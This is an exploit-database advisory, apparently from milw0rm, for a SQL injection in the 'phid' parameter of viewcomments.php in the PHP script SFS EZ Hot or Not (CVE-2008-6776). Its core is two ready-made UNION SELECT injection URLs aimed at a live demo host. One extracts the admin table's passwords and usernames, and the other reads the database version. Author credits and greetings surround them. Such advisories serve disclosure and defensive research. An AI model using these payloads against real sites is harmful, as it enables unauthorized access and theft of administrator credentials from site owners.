SFS EZ Hot or Not - 'phid' SQL Injection

Author: d3b4g
type: webapps
platform: php
port: 
date_added: 2008-10-30 
date_updated: 2016-12-30 
verified: 1 
codes: OSVDB-49540;CVE-2008-6776 
tags: 
aliases:  
screenshot_url:  
application_url: 

	SFS EZ Hot ot Not[viewcomments.php?phid] Remote SQL Injection Vulnerability
       ===============================================================


----------------------------------------------------------------
script : SFS EZ Hot ot Not

script  :  http://www.scripts-for-sites.info

Risk : High

----------------------------------------------------------------

Discovered by : d3b4g

email : bl4ckend[at]gmail[dot]come

Site. www.bl4ck3nd.info

----------------------------------------------------------------
Exploit demo: http://www.turnkeyzone.com/demos/hot/viewcomments.php?phid=-1+union+all+select+1,concat(password,username),3,4,5,6+from+admin/*


version: http: www.turnkeyzone.com/demos/hot/viewcomments.php?phid=-1+union+all+select+1,@@version,3,4,5,6/*
----------------------------------------------------------------


----------------------------------------------------------------
Greetz: str0ke,,Hotlism.org,All my friends

-----------------------------------------------------------------
Proud to be a maldivian :))
=======================

----------------------------------------------------------------

# milw0rm.com [2008-10-31]